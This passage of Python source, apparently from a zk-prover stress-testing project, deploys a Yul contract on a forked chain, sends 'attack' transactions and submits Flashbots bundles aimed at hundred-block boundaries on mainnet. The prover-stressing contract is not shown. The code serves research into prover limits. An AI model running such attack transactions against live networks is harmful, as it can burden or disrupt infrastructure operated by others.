{line.rstrip()}") 120 | 121 | import threading 122 | anvil_thread = threading.Thread(target=print_output, args=(process,), daemon=True) 123 | anvil_thread.start() 124 | 125 | # Wait for anvil to start 126 | time.sleep(3) 127 | return process 128 | 129 | def deploy_contract(contract_path: str, rpc_url: str, private_key: str) -> str: 130 | """Deploy the ZKarnage.yul contract using forge and cast send --create""" 131 | print(f"Deploying contract from {contract_path}...") 132 | 133 | # Compile the contract 134 | compile_cmd = ["forge", "build", "--root", "."] 135 | result = subprocess.run(compile_cmd, capture_output=True, text=True) 136 | if result.returncode != 0: 137 | print(f"Error compiling contract: {result.stderr}") 138 | sys.exit(1) 139 | 140 | # Get the contract name from the path 141 | contract_name = "ZKarnage" # Hardcoded based on user edit 142 | # Construct the path to the build artifact 143 | artifact_path = Path("out") / f"{Path(contract_path).name}" / f"{contract_name}.json" 144 | 145 | # Read the bytecode from the artifact 146 | try: 147 | with open(artifact_path, "r") as f: 148 | artifact = json.load(f) 149 | bytecode = artifact["bytecode"]["object"] 150 | if not bytecode.startswith("0x"): 151 | bytecode = "0x" + bytecode 152 | except FileNotFoundError: 153 | print(f"Error: Build artifact not found at {artifact_path}") 154 | sys.exit(1) 155 | except KeyError: 156 | print(f"Error: Could not find bytecode in artifact {artifact_path}") 157 | sys.exit(1) 158 | 159 | print(f"Bytecode length: {len(bytecode)//2 -1}") 160 | 161 | # Deploy the contract using cast send --create 162 | deploy_cmd = [ 163 | "cast", "send", 164 | "--rpc-url", rpc_url, 165 | "--private-key", private_key, 166 | "--create", bytecode, 167 | ] 168 | 169 | result = subprocess.run(deploy_cmd, capture_output=True, text=True) 170 | if result.returncode != 0: 171 | # Check if the error is due to insufficient funds 172 | if "insufficient funds" in result.stderr.lower(): 173 | print(f"Deployment failed: Insufficient funds for account associated with private key.") 174 | else: 175 | print(f"Error deploying contract with cast send --create: {result.stderr}") 176 | sys.exit(1) 177 | 178 | # Extract deployed address from output 179 | output = result.stdout 180 | # Look for contractAddress in the output JSON (less likely for cast send) 181 | try: 182 | receipt_json = json.loads(output) 183 | address = receipt_json.get("contractAddress") 184 | if address: 185 | print(f"Contract deployed at: {address}") 186 | return address 187 | else: 188 | print(f"Could not find 'contractAddress' in cast send output JSON: {output}") 189 | # Don't exit here, try text parsing next 190 | except json.JSONDecodeError: 191 | pass # Expected if output is not JSON, try text parsing 192 | 193 | # Fallback: Parse text output for contract address 194 | for line in output.split("\n"): 195 | line_stripped = line.strip() 196 | # Look for lines starting with 'contractAddress' followed by whitespace 197 | if line_stripped.lower().startswith("contractaddress"): 198 | parts = line_stripped.split() 199 | if len(parts) >= 2: 200 | potential_address = parts[-1] 201 | if potential_address.startswith("0x") and len(potential_address) == 42: 202 | print(f"Contract deployed at: {potential_address}") 203 | return potential_address 204 | # Check for older formats just in case 205 | elif "contractAddress:" in line: 206 | address = line.split("contractAddress:")[1].strip() 207 | if address.startswith("0x") and len(address) == 42: 208 | print(f"Contract deployed at: {address}") 209 | return address 210 | 211 | 212 | print(f"Could not find deployed contract address in cast send --create output: {output}") 213 | sys.exit(1) 214 | 215 | def execute_attack_tx( 216 | contract_address: str, 217 | attack_type: str, 218 | gas_limit: int, 219 | gas_threshold: int, 220 | rpc_url: str, 221 | private_key: str, 222 | ) -> str: 223 | """Execute the attack transaction and return the transaction hash""" 224 | print(f"Executing {attack_type} attack...") 225 | 226 | # Get operation code from mapping 227 | op_code = OPERATION_CODES[attack_type] 228 | 229 | # First, calculate the function selector for f(uint256,uint256,uint256) 230 | print("Calculating function selector...") 231 | function_hash_cmd = ["cast", "sig", "f(uint256,uint256,uint256)"] 232 | print(f"Running: {' '.join(function_hash_cmd)}") 233 | result = subprocess.run(function_hash_cmd, capture_output=True, text=True) 234 | if result.returncode != 0: 235 | print(f"Error calculating function selector: {result.stderr}") 236 | sys.exit(1) 237 | 238 | # The output of 'cast sig' is already the full selector with 0x prefix 239 | function_selector = result.stdout.strip() 240 | print(f"Function selector: {function_selector}") 241 | 242 | # Now encode the parameters using abi-encode 243 | print("Encoding parameters...") 244 | param_cmd = [ 245 | "cast", "abi-encode", 246 | "f(uint256,uint256,uint256)", 247 | op_code, 248 | str(gas_threshold), 249 | "0x0000000000000000000000000000000000000000" 250 | ] 251 | print(f"Running: {' '.join(param_cmd)}") 252 | result = subprocess.run(param_cmd, capture_output=True, text=True) 253 | if result.returncode != 0: 254 | print(f"Error generating transaction data: {result.stderr}") 255 | sys.exit(1) 256 | 257 | param_data = result.stdout.strip() 258 | print(f"Raw encoded parameters: {param_data}") 259 | 260 | # Extract just the parameter data (removing function selector if present) 261 | if param_data.startswith("0x"): 262 | # Check if it already includes a function selector (first 10 chars including 0x) 263 | if len(param_data) >= 10: 264 | encoded_params = param_data[10:] # Skip "0x" + 8 chars of selector 265 | else: 266 | encoded_params = param_data[2:] # Just skip "0x" 267 | else: 268 | encoded_params = param_data 269 | 270 | # Create transaction data by combining selector and parameters 271 | tx_data = function_selector + encoded_params 272 | print(f"Final transaction data: {tx_data}") 273 | 274 | # Try an alternative approach as well - using cast calldata 275 | print("Alternative approach with cast calldata...") 276 | calldata_cmd = [ 277 | "cast", "calldata", 278 | "f(uint256,uint256,uint256)", 279 | op_code, 280 | str(gas_threshold), 281 | "0x0000000000000000000000000000000000000000" 282 | ] 283 | print(f"Running: {' '.join(calldata_cmd)}") 284 | result = subprocess.run(calldata_cmd, capture_output=True, text=True) 285 | if result.returncode != 0: 286 | print(f"Error generating calldata: {result.stderr}") 287 | else: 288 | alt_tx_data = result.stdout.strip() 289 | print(f"Alternative transaction data: {alt_tx_data}") 290 | # Use this alternative data if available 291 | if alt_tx_data.startswith("0x") and len(alt_tx_data) >= 10: 292 | tx_data = alt_tx_data 293 | print(f"Using alternative transaction data") 294 | 295 | # Send the transaction 296 | send_cmd = [ 297 | "cast", "send", 298 | "--rpc-url", rpc_url, 299 | "--private-key", private_key, 300 | "--gas-limit", str(gas_limit), 301 | contract_address, 302 | tx_data 303 | ] 304 | print(f"Sending transaction: cast send --rpc-url --private-key --gas-limit {gas_limit} {contract_address} {tx_data}") 305 | 306 | result = subprocess.run(send_cmd, capture_output=True, text=True) 307 | if result.returncode != 0: 308 | # Check for common errors like nonce issues or insufficient funds 309 | stderr_lower = result.stderr.lower() 310 | if "insufficient funds" in stderr_lower: 311 | print(f"Transaction failed: Insufficient funds for account.") 312 | elif "nonce too low" in stderr_lower or "invalid nonce" in stderr_lower: 313 | print(f"Transaction failed: Nonce issue. Try again or reset Anvil account state.") 314 | else: 315 | print(f"Error sending transaction: {result.stderr}") 316 | sys.exit(1) 317 | 318 | # Extract transaction hash from output 319 | output = result.stdout 320 | # Try parsing as JSON first 321 | try: 322 | receipt_json = json.loads(output) 323 | tx_hash = receipt_json.get("transactionHash") 324 | if tx_hash and tx_hash.startswith("0x") and len(tx_hash) == 66: 325 | print(f"Transaction sent: {tx_hash}") 326 | return tx_hash 327 | else: 328 | print(f"Could not find valid 'transactionHash' in cast send output JSON: {output}") 329 | # Don't exit, try text parsing 330 | except json.JSONDecodeError: 331 | pass # Expected if output is not JSON, try text parsing 332 | 333 | # Fallback: Parse text output for transaction hash 334 | for line in output.split("\n"): 335 | line_stripped = line.strip() 336 | # Look for lines starting with 'transactionHash' 337 | if line_stripped.lower().startswith("transactionhash"): 338 | parts = line_stripped.split() 339 | if len(parts) >= 2: 340 | potential_hash = parts[-1] 341 | if potential_hash.startswith("0x") and len(potential_hash) == 66: 342 | print(f"Transaction sent: {potential_hash}") 343 | return potential_hash 344 | # Original check as a final fallback 345 | elif line_stripped.startswith("0x") and len(line_stripped) == 66: 346 | tx_hash = line_stripped 347 | print(f"Transaction sent: {tx_hash}") 348 | return tx_hash 349 | 350 | print(f"Could not find transaction hash in cast output: {output}") 351 | sys.exit(1) 352 | 353 | def get_block_data(w3: Web3, tx_hash: str, fork_block: int) -> Dict: 354 | """Get the block data containing the transaction and all blocks since fork""" 355 | print("Retrieving block data...") 356 | 357 | # Wait for transaction to be mined 358 | receipt = None 359 | max_attempts = 30 360 | for _ in range(max_attempts): 361 | try: 362 | receipt = w3.eth.get_transaction_receipt(tx_hash) 363 | if receipt and receipt.blockNumber: 364 | break 365 | except Exception: 366 | pass 367 | time.sleep(1) 368 | 369 | if not receipt or not receipt.blockNumber: 370 | print(f"Transaction not mined after {max_attempts} attempts") 371 | sys.exit(1) 372 | 373 | block_number = receipt.blockNumber 374 | print(f"Transaction mined in block {block_number}") 375 | 376 | # Calculate block range to fetch 377 | start_block = fork_block + 1 # Start from block after fork 378 | end_block = block_number # End at the attack block 379 | 380 | # Fetch all blocks in range 381 | blocks = {} 382 | print(f"Fetching all blocks from {start_block} to {end_block}...") 383 | 384 | for block_num in range(start_block, end_block + 1): 385 | try: 386 | print(f"Fetching block {block_num}...") 387 | block = w3.eth.get_block(block_num, full_transactions=True) 388 | blocks[block_num] = block 389 | except Exception as e: 390 | print(f"Error fetching block {block_num}: {e}") 391 | 392 | # Also save the attack transaction's block number for reference 393 | blocks['attack_block_number'] = block_number 394 | 395 | return blocks 396 | 397 | def save_block_data(blocks: Dict, output_file: str): 398 | """Save all block data to a single JSON file with a 'blocks' key.""" 399 | output_path = Path(output_file) 400 | output_dir = output_path.parent 401 | 402 | try: 403 | output_dir.mkdir(parents=True, exist_ok=True) 404 | except OSError as e: 405 | print(f"Error creating directory {output_dir}: {e}") 406 | sys.exit(1) 407 | 408 | # Get the attack block number 409 | attack_block_number = blocks.get('attack_block_number') 410 | if not attack_block_number: 411 | print("Warning: Could not determine attack block number") 412 | 413 | # Remove the special 'attack_block_number' key before processing blocks 414 | if 'attack_block_number' in blocks: 415 | del blocks['attack_block_number'] 416 | 417 | # Create a dictionary to hold all block data 418 | output_data = { 419 | "attackBlockNumber": attack_block_number, 420 | "blocks": {} 421 | } 422 | 423 | # Convert all blocks to serializable format and add to output 424 | print(f"Processing {len(blocks)} blocks...") 425 | for block_num, block_data in blocks.items(): 426 | try: 427 | # Convert block data to serializable format 428 | serializable_block = json.loads(Web3.to_json(block_data)) 429 | output_data["blocks"][str(block_num)] = serializable_block 430 | print(f"Processed block {block_num}") 431 | except Exception as e: 432 | print(f"Error processing block {block_num}: {e}") 433 | # Attempt to manually serialize if possible 434 | try: 435 | serializable_block = {k: str(v) if isinstance(v, bytes) else v for k, v in dict(block_data).items()} 436 | # Further refine serialization for AttributeDict within transactions if needed 437 | if 'transactions' in serializable_block: 438 | serializable_block['transactions'] = [ 439 | {k: str(v) if isinstance(v, bytes) else v for k, v in dict(tx).items()} 440 | for tx in serializable_block['transactions'] 441 | ] 442 | output_data["blocks"][str(block_num)] = serializable_block 443 | print(f"Processed block {block_num} using simplified serialization") 444 | except Exception as e2: 445 | print(f"Failed to process block {block_num} even with simplified serialization: {e2}") 446 | 447 | # Save the complete data structure to the output file 448 | print(f"Saving all blocks to {output_path}...") 449 | with open(output_path, "w") as f: 450 | json.dump(output_data, f, indent=2) 451 | 452 | print(f"All blocks saved successfully to {output_path}") 453 | print(f"Saved data for {len(output_data['blocks'])} blocks with attack block #{attack_block_number}") 454 | 455 | def main(): 456 | args = parse_args() 457 | 458 | # Start anvil process 459 | anvil_process = start_anvil(args.rpc_url, args.fork_block, args.anvil_port) 460 | 461 | try: 462 | local_rpc_url = f"http://localhost:{args.anvil_port}" 463 | w3 = Web3(Web3.HTTPProvider(local_rpc_url)) 464 | 465 | # Verify connection to anvil 466 | if not w3.is_connected(): 467 | print(f"Failed to connect to Anvil at {local_rpc_url}") 468 | sys.exit(1) 469 | 470 | # Deploy contract 471 | contract_address = deploy_contract(args.contract_path, local_rpc_url, args.private_key) 472 | 473 | # Execute attack transaction 474 | tx_hash = execute_attack_tx( 475 | contract_address, 476 | args.attack_type, 477 | args.gas_limit, 478 | args.gas_threshold, 479 | local_rpc_url, 480 | args.private_key 481 | ) 482 | 483 | # Get block data for all blocks from fork to attack 484 | blocks_data = get_block_data(w3, tx_hash, args.fork_block) 485 | 486 | # Save block data 487 | save_block_data(blocks_data, args.output_file) 488 | 489 | print("Block generation completed successfully!") 490 | 491 | except Exception as e: 492 | print(f"Error: {e}") 493 | sys.exit(1) 494 | finally: 495 | # Terminate anvil process 496 | print("Terminating Anvil...") 497 | anvil_process.terminate() 498 | anvil_process.wait(timeout=5) 499 | 500 | if __name__ == "__main__": 501 | main() -------------------------------------------------------------------------------- /script/run_attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | ZKarnage: Zero-Knowledge Proof Stress Testing System 4 | 5 | Simplified script for targeting Flashbots transactions on hundred-block boundaries. 6 | """ 7 | 8 | import os 9 | import sys 10 | import json 11 | import time 12 | import uuid 13 | import asyncio 14 | import logging 15 | import aiohttp 16 | import traceback 17 | import datetime 18 | from typing import List, Optional, Dict, Any 19 | from pathlib import Path 20 | 21 | from dotenv import load_dotenv 22 | from web3 import Web3, HTTPProvider 23 | from web3.exceptions import TransactionNotFound 24 | from eth_abi import encode 25 | from eth_account import Account, messages 26 | from eth_typing import Address 27 | 28 | # Configure logging 29 | def setup_logging(): 30 | """Configure logging to both console and timestamped file.""" 31 | # Create logs directory if it doesn't exist 32 | logs_dir = Path("logs") 33 | logs_dir.mkdir(exist_ok=True) 34 | 35 | # Generate ISO format timestamp for the log filename 36 | timestamp = datetime.datetime.now().isoformat().replace(':', '-').replace('.', '-') 37 | log_filename = logs_dir / f"zkarnage-attack-{timestamp}.log" 38 | 39 | # Configure root logger 40 | root_logger = logging.getLogger() 41 | root_logger.setLevel(logging.INFO) 42 | 43 | # Log format 44 | log_format = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') 45 | 46 | # Configure console handler 47 | console_handler = logging.StreamHandler(sys.stdout) 48 | console_handler.setFormatter(log_format) 49 | root_logger.addHandler(console_handler) 50 | 51 | # Configure file handler 52 | file_handler = logging.FileHandler(log_filename) 53 | file_handler.setFormatter(log_format) 54 | root_logger.addHandler(file_handler) 55 | 56 | logger = logging.getLogger(__name__) 57 | logger.info(f"Logging to file: {log_filename}") 58 | 59 | return logger 60 | 61 | # Initialize logger 62 | logger = setup_logging() 63 | 64 | class ZKarnageError(Exception): 65 | """Base exception for ZKarnage errors.""" 66 | pass 67 | 68 | class FlashbotsManager: 69 | """Manages Flashbots bundle submission and simulation.""" 70 | 71 | def __init__(self, w3: Web3, relay_url: str, account: Account): 72 | self.w3 = w3 73 | self.relay_url = relay_url 74 | self.account = account 75 | 76 | def _sign_flashbots_message(self, msg_body: str) -> str: 77 | """ 78 | Create Flashbots-compatible signature for request authentication. 79 | 80 | Args: 81 | msg_body: JSON payload to be signed 82 | 83 | Returns: 84 | Signed message string in format 'address:signature' 85 | """ 86 | # Get hash as hex string 87 | message_hash_hex = self.w3.keccak(text=msg_body).hex() 88 | 89 | # Create message object using the hash hex string 90 | message = messages.encode_defunct(text=message_hash_hex) 91 | 92 | # Sign the message 93 | signed_message = self.w3.eth.account.sign_message(message, self.account.key) 94 | 95 | # Format as address:signature 96 | signature = f"{self.account.address}:{signed_message.signature.hex()}" 97 | 98 | return signature 99 | 100 | async def simulate_bundle( 101 | self, 102 | bundle: List[bytes], 103 | target_block: int, 104 | state_block: str = 'latest' 105 | ) -> Dict[str, Any]: 106 | """ 107 | Simulate Flashbots bundle submission using eth_callBundle. 108 | 109 | Args: 110 | bundle: List of signed transaction bytes 111 | target_block: Block number to target 112 | state_block: State block to base simulation on 113 | 114 | Returns: 115 | Simulation result dictionary 116 | """ 117 | try: 118 | # Convert transactions to hex strings without the 0x prefix for Flashbots 119 | hex_txs = [tx.hex() if not isinstance(tx, str) else tx for tx in bundle] 120 | 121 | # Ensure 0x prefix for Flashbots 122 | hex_txs = ["0x" + tx[2:] if tx.startswith("0x") else "0x" + tx for tx in hex_txs] 123 | 124 | # Debug print transaction data 125 | logger.info(f"Transaction data (first 100 chars): {hex_txs[0][:100]}...") 126 | logger.info(f"Transaction type: {hex_txs[0][2:4]}") # Print transaction type (first byte after 0x) 127 | 128 | # Prepare simulation request 129 | sim_request = { 130 | "jsonrpc": "2.0", 131 | "id": 1, 132 | "method": "eth_callBundle", 133 | "params": [{ 134 | "txs": hex_txs, 135 | "blockNumber": hex(target_block), 136 | "stateBlockNumber": state_block, 137 | "timestamp": int(time.time()) 138 | }] 139 | } 140 | 141 | # Convert request to JSON 142 | request_json = json.dumps(sim_request) 143 | 144 | # Debug print request 145 | logger.info(f"Simulation request: {request_json}") 146 | 147 | # Sign the request 148 | signature = self._sign_flashbots_message(request_json) 149 | 150 | # Prepare headers 151 | headers = { 152 | 'Content-Type': 'application/json', 153 | 'X-Flashbots-Signature': signature 154 | } 155 | 156 | # Debug print headers 157 | logger.info(f"Request headers: {headers}") 158 | 159 | # Send simulation request 160 | async with aiohttp.ClientSession() as session: 161 | async with session.post( 162 | self.relay_url, 163 | data=request_json, 164 | headers=headers 165 | ) as response: 166 | response_text = await response.text() 167 | logger.info(f"Response status: {response.status}") 168 | logger.info(f"Response body: {response_text}") 169 | 170 | if response.status != 200: 171 | logger.error(f"Simulation request failed with status {response.status}") 172 | return {"success": False, "error": response_text} 173 | 174 | result = json.loads(response_text) 175 | 176 | # Log simulation details 177 | logger.info(f"Bundle simulation for block {target_block}") 178 | logger.info(f"Gas used: {result.get('result', {}).get('totalGasUsed', 'N/A')}") 179 | 180 | # Check for simulation success (no reverts) 181 | bundle_results = result.get('result', {}).get('results', []) 182 | success = all( 183 | not (res.get('error') or res.get('revert')) 184 | for res in bundle_results 185 | ) 186 | 187 | return { 188 | "success": success, 189 | "details": result.get('result', {}), 190 | "raw_result": result 191 | } 192 | 193 | except Exception as e: 194 | logger.error(f"Bundle simulation failed: {e}") 195 | logger.error(f"Traceback: {traceback.format_exc()}") 196 | return {"success": False, "error": str(e)} 197 | 198 | async def submit_bundle( 199 | self, 200 | bundle: List[bytes], 201 | target_block: int, 202 | min_timestamp: Optional[int] = None, 203 | max_timestamp: Optional[int] = None 204 | ) -> Optional[Dict[str, Any]]: 205 | """ 206 | Submit bundle to Flashbots relay using eth_sendBundle. 207 | 208 | Args: 209 | bundle: List of signed transaction bytes 210 | target_block: Block number to target 211 | min_timestamp: Minimum timestamp for bundle validity 212 | max_timestamp: Maximum timestamp for bundle validity 213 | 214 | Returns: 215 | Bundle submission result dictionary 216 | """ 217 | try: 218 | # Convert transactions to hex strings with 0x prefix 219 | hex_txs = [tx.hex() if not isinstance(tx, str) else tx for tx in bundle] 220 | hex_txs = ["0x" + tx[2:] if tx.startswith("0x") else "0x" + tx for tx in hex_txs] 221 | 222 | # Debug print transaction data 223 | logger.info(f"Transaction data (first 100 chars): {hex_txs[0][:100]}...") 224 | logger.info(f"Transaction type: {hex_txs[0][2:4]}") # Print transaction type (first byte after 0x) 225 | 226 | # Prepare bundle submission request 227 | bundle_request = { 228 | "jsonrpc": "2.0", 229 | "id": int(time.time() * 1000), # Unique ID 230 | "method": "eth_sendBundle", 231 | "params": [{ 232 | "txs": hex_txs, 233 | "blockNumber": hex(target_block), 234 | "minTimestamp": min_timestamp or 0, 235 | "maxTimestamp": max_timestamp or int(time.time()) + 420, # 7 minutes from now 236 | "replacementUuid": str(uuid.uuid4()) 237 | }] 238 | } 239 | 240 | # Convert request to JSON 241 | request_json = json.dumps(bundle_request) 242 | 243 | # Debug print request 244 | logger.info(f"Bundle submission request: {request_json}") 245 | 246 | # Sign the request 247 | signature = self._sign_flashbots_message(request_json) 248 | 249 | # Prepare headers 250 | headers = { 251 | 'Content-Type': 'application/json', 252 | 'X-Flashbots-Signature': signature 253 | } 254 | 255 | # Debug print headers 256 | logger.info(f"Request headers: {headers}") 257 | 258 | # Send bundle submission request 259 | async with aiohttp.ClientSession() as session: 260 | async with session.post( 261 | self.relay_url, 262 | data=request_json, 263 | headers=headers 264 | ) as response: 265 | response_text = await response.text() 266 | logger.info(f"Response status: {response.status}") 267 | logger.info(f"Response body: {response_text}") 268 | 269 | if response.status != 200: 270 | logger.error(f"Bundle submission failed with status {response.status}") 271 | return None 272 | 273 | result = json.loads(response_text) 274 | 275 | # Extract bundle hash 276 | bundle_hash = result.get('result', {}).get('bundleHash') 277 | 278 | if bundle_hash: 279 | logger.info(f"Bundle submitted successfully to block {target_block}") 280 | logger.info(f"Bundle Hash: {bundle_hash}") 281 | return { 282 | "bundle_hash": bundle_hash, 283 | "raw_result": result 284 | } 285 | else: 286 | logger.warning("No bundle hash returned") 287 | return None 288 | 289 | except Exception as e: 290 | logger.error(f"Bundle submission failed: {e}") 291 | logger.error(f"Traceback: {traceback.format_exc()}") 292 | return None 293 | 294 | async def check_flashbots_status(self, bundle_hash: str, target_block: Optional[int] = None) -> Dict[str, Any]: 295 | """ 296 | Check the status of a bundle submission with Flashbots using V2 API. 297 | 298 | Args: 299 | bundle_hash: The hash of the bundle to check 300 | target_block: The target block number (required for V2 API) 301 | 302 | Returns: 303 | Bundle status information 304 | """ 305 | try: 306 | # V2 API requires blockNumber parameter 307 | if target_block is None: 308 | logger.error("Target block is required for flashbots_getBundleStatsV2") 309 | return {"success": False, "error": "Target block is required"} 310 | 311 | # Prepare params with required fields 312 | params = [{ 313 | "bundleHash": bundle_hash, 314 | "blockNumber": hex(target_block) 315 | }] 316 | 317 | # Prepare bundle status request 318 | status_request = { 319 | "jsonrpc": "2.0", 320 | "id": int(time.time() * 1000), 321 | "method": "flashbots_getBundleStatsV2", 322 | "params": params 323 | } 324 | 325 | # Convert request to JSON 326 | request_json = json.dumps(status_request) 327 | 328 | # Debug print request 329 | logger.info(f"V2 Bundle status request: {request_json}") 330 | 331 | # Sign the request 332 | signature = self._sign_flashbots_message(request_json) 333 | 334 | # Prepare headers 335 | headers = { 336 | 'Content-Type': 'application/json', 337 | 'X-Flashbots-Signature': signature 338 | } 339 | 340 | # Send status request 341 | async with aiohttp.ClientSession() as session: 342 | async with session.post( 343 | self.relay_url, 344 | data=request_json, 345 | headers=headers 346 | ) as response: 347 | response_text = await response.text() 348 | logger.info(f"Bundle V2 status response: {response_text}") 349 | 350 | if response.status != 200: 351 | logger.error(f"Bundle status check failed with status {response.status}") 352 | return {"success": False, "error": response_text} 353 | 354 | result = json.loads(response_text) 355 | 356 | # Log meaningful information from the V2 response 357 | if 'result' in result: 358 | status_result = result.get('result', {}) 359 | logger.info(f"Bundle is {'high priority' if status_result.get('isHighPriority') else 'standard priority'}") 360 | logger.info(f"Bundle has{' ' if status_result.get('isSimulated') else ' not '}been simulated") 361 | 362 | if status_result.get('receivedAt'): 363 | logger.info(f"Bundle was received at: {status_result.get('receivedAt')}") 364 | 365 | if status_result.get('simulatedAt'): 366 | logger.info(f"Bundle was simulated at: {status_result.get('simulatedAt')}") 367 | 368 | builder_count = len(status_result.get('consideredByBuildersAt', [])) 369 | if builder_count > 0: 370 | logger.info(f"Bundle was considered by {builder_count} builders") 371 | 372 | sealed_count = len(status_result.get('sealedByBuildersAt', [])) 373 | if sealed_count > 0: 374 | logger.info(f"Bundle was sealed by {sealed_count} builders!") 375 | elif builder_count > 0 and sealed_count == 0: 376 | logger.warning("Bundle was considered but not sealed by any builders") 377 | 378 | return result 379 | 380 | except Exception as e: 381 | logger.error(f"Error checking bundle V2 status: {e}") 382 | logger.error(f"Traceback: {traceback.format_exc()}") 383 | return {"success": False, "error": str(e)} 384 | 385 | async def check_user_stats(self, block_number: Optional[int] = None) -> Dict[str, Any]: 386 | """ 387 | Check user stats with Flashbots using flashbots_getUserStatsV2. 388 | 389 | Args: 390 | block_number: A recent block number (required to prevent replay attacks) 391 | 392 | Returns: 393 | User stats information 394 | """ 395 | try: 396 | # Use current block if none provided 397 | if block_number is None: 398 | block_number = self.w3.eth.block_number 399 | 400 | # Prepare params with required fields 401 | params = [{ 402 | "blockNumber": hex(block_number) 403 | }] 404 | 405 | # Prepare user stats request 406 | stats_request = { 407 | "jsonrpc": "2.0", 408 | "id": int(time.time() * 1000), 409 | "method": "flashbots_getUserStatsV2", 410 | "params": params 411 | } 412 | 413 | # Convert request to JSON 414 | request_json = json.dumps(stats_request) 415 | 416 | # Debug print request 417 | logger.info(f"User stats request: {request_json}") 418 | 419 | # Sign the request 420 | signature = self._sign_flashbots_message(request_json) 421 | 422 | # Prepare headers 423 | headers = { 424 | 'Content-Type': 'application/json', 425 | 'X-Flashbots-Signature': signature 426 | } 427 | 428 | # Send stats request 429 | async with aiohttp.ClientSession() as session: 430 | async with session.post( 431 | self.relay_url, 432 | data=request_json, 433 | headers=headers 434 | ) as response: 435 | response_text = await response.text() 436 | logger.info(f"User stats response: {response_text}") 437 | 438 | if response.status != 200: 439 | logger.error(f"User stats check failed with status {response.status}") 440 | return {"success": False, "error": response_text} 441 | 442 | result = json.loads(response_text) 443 | 444 | # Log meaningful information from the response 445 | if 'result' in result: 446 | stats = result.get('result', {}) 447 | is_high_priority = stats.get('isHighPriority', False) 448 | logger.info(f"User has {'HIGH' if is_high_priority else 'STANDARD'} priority status") 449 | 450 | # Format payments as ETH for better readability 451 | all_time_payments = stats.get('allTimeValidatorPayments', '0') 452 | all_time_eth = float(all_time_payments) / 1e18 if all_time_payments else 0 453 | logger.info(f"All-time validator payments: {all_time_eth:.4f} ETH") 454 | 455 | last_7d_payments = stats.get('last7dValidatorPayments', '0') 456 | last_7d_eth = float(last_7d_payments) / 1e18 if last_7d_payments else 0 457 | logger.info(f"Last 7 days validator payments: {last_7d_eth:.4f} ETH") 458 | 459 | # Log gas usage 460 | all_time_gas = stats.get('allTimeGasSimulated', '0') 461 | logger.info(f"All-time gas simulated: {all_time_gas}") 462 | 463 | return result 464 | 465 | except Exception as e: 466 | logger.error(f"Error checking user stats: {e}") 467 | logger.error(f"Traceback: {traceback.format_exc()}") 468 | return {"success": False, "error": str(e)} 469 | 470 | async def check_transaction_status(self, tx_hash: str, network: str = "mainnet") -> Dict[str, Any]: 471 | """ 472 | Check transaction status using web3.py. 473 | 474 | Args: 475 | tx_hash: Transaction hash to check 476 | network: Network to check on (not used with web3.py implementation) 477 | 478 | Returns: 479 | Transaction status information 480 | """ 481 | try: 482 | # Try to get the transaction receipt 483 | try: 484 | receipt = self.w3.eth.get_transaction_receipt(tx_hash) 485 | if receipt: 486 | # Transaction has been mined 487 | success = receipt.status == 1 488 | logger.info(f"Transaction Status: {'SUCCESS' if success else 'FAILED'}") 489 | 490 | # Get the full transaction for more details 491 | tx = self.w3.eth.get_transaction(tx_hash) 492 | 493 | # Log transaction details 494 | logger.info(f"From: {tx.get('from', 'N/A')}") 495 | logger.info(f"To: {tx.get('to', 'N/A')}") 496 | logger.info(f"Gas Limit: {tx.get('gas', 'N/A')}") 497 | logger.info(f"Max Fee: {tx.get('maxFeePerGas', 'N/A')}") 498 | logger.info(f"Priority Fee: {tx.get('maxPriorityFeePerGas', 'N/A')}") 499 | logger.info(f"Block Number: {receipt.blockNumber}") 500 | logger.info(f"Gas Used: {receipt.gasUsed}") 501 | 502 | return { 503 | "success": True, 504 | "status": "INCLUDED" if success else "FAILED", 505 | "transaction": { 506 | "from": tx.get('from'), 507 | "to": tx.get('to'), 508 | "gasLimit": tx.get('gas'), 509 | "maxFeePerGas": tx.get('maxFeePerGas'), 510 | "maxPriorityFeePerGas": tx.get('maxPriorityFeePerGas'), 511 | "blockNumber": receipt.blockNumber, 512 | "gasUsed": receipt.gasUsed 513 | } 514 | } 515 | 516 | except TransactionNotFound: 517 | # Transaction is not mined yet 518 | # Try to get pending transaction 519 | try: 520 | tx = self.w3.eth.get_transaction(tx_hash) 521 | if tx: 522 | logger.info("Transaction Status: PENDING") 523 | logger.info("Transaction is in mempool but not mined yet") 524 | 525 | return { 526 | "success": True, 527 | "status": "PENDING", 528 | "transaction": { 529 | "from": tx.get('from'), 530 | "to": tx.get('to'), 531 | "gasLimit": tx.get('gas'), 532 | "maxFeePerGas": tx.get('maxFeePerGas'), 533 | "maxPriorityFeePerGas": tx.get('maxPriorityFeePerGas') 534 | } 535 | } 536 | else: 537 | logger.warning("Transaction not found in mempool or blockchain") 538 | return { 539 | "success": False, 540 | "status": "NOT_FOUND", 541 | "error": "Transaction not found in mempool or blockchain" 542 | } 543 | 544 | except Exception as e: 545 | logger.warning(f"Error checking pending transaction: {e}") 546 | return { 547 | "success": False, 548 | "status": "ERROR", 549 | "error": f"Error checking pending transaction: {str(e)}" 550 | } 551 | 552 | except Exception as e: 553 | logger.error(f"Error checking transaction status: {e}") 554 | logger.error(f"Traceback: {traceback.format_exc()}") 555 | return { 556 | "success": False, 557 | "status": "ERROR", 558 | "error": str(e) 559 | } 560 | 561 | class ZKarnage: 562 | """Main ZKarnage attack orchestration class.""" 563 | 564 | def __init__( 565 | self, 566 | w3: Web3, 567 | account: Account, 568 | relay_url: str, 569 | contract_address: Optional[Address] = None 570 | ): 571 | self.w3 = w3 572 | self.account = account 573 | self.contract_address = contract_address 574 | self.flashbots = FlashbotsManager(w3, relay_url, account) 575 | 576 | def get_next_hundred_block(self, current_block: Optional[int] = None) -> int: 577 | """ 578 | Calculate the next block divisible by 100. 579 | 580 | Args: 581 | current_block: Starting block number (default: current blockchain block) 582 | 583 | Returns: 584 | Next block number divisible by 100 585 | """ 586 | current = current_block or self.w3.eth.block_number 587 | return current + (100 - (current % 100)) 588 | 589 | async def check_bundle_status(self, bundle_hash: str, target_block: int, tx_hash: Optional[str] = None) -> bool: 590 | """ 591 | Check if a bundle was included using Flashbots API. 592 | 593 | Args: 594 | bundle_hash: The hash of the bundle to check 595 | target_block: The target block number 596 | tx_hash: Optional transaction hash to check individual tx status 597 | 598 | Returns: 599 | Whether the bundle was included 600 | """ 601 | try: 602 | # Wait until we've reached the target block 603 | current_block = self.w3.eth.block_number 604 | if current_block < target_block: 605 | logger.info(f"Waiting for target block {target_block}, current block is {current_block}") 606 